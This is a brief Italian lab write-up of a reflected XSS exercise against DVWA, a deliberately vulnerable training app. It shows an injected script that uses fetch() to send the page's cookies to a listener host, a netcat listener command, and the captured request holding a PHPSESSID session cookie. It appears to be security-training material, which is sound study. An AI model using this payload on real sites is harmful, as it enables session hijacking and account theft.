

XSS REFLECTED

Inserisco nel form della DVWA lo script:

```
<script>fetch("http://192.168.50.100:5555/"+document.cookie)</script>
```

Metto in ascolto la kali sulla porta 5555 mediante il comando nc -lvp 5555.

```
(kali㉿kali)-[~]  
$ nc -lvp 5555  
listening on [any] 5555 ...  
192.168.50.100: inverse host lookup failed: Unknown host  
connect to [192.168.50.100] from (UNKNOWN) [192.168.50.100] 40440  
GET /security=low;%20PHPSESSID=32035e5c453864ca483747018ea4f2b1 HTTP/1.1  
Host: 192.168.50.100:5555  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0  
Accept: */*  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: http://192.168.50.101/  
Origin: http://192.168.50.101  
Connection: keep-alive  
  
[ ]
```

Riceviamo quindi il cookie di sessione dell'utente autenticato.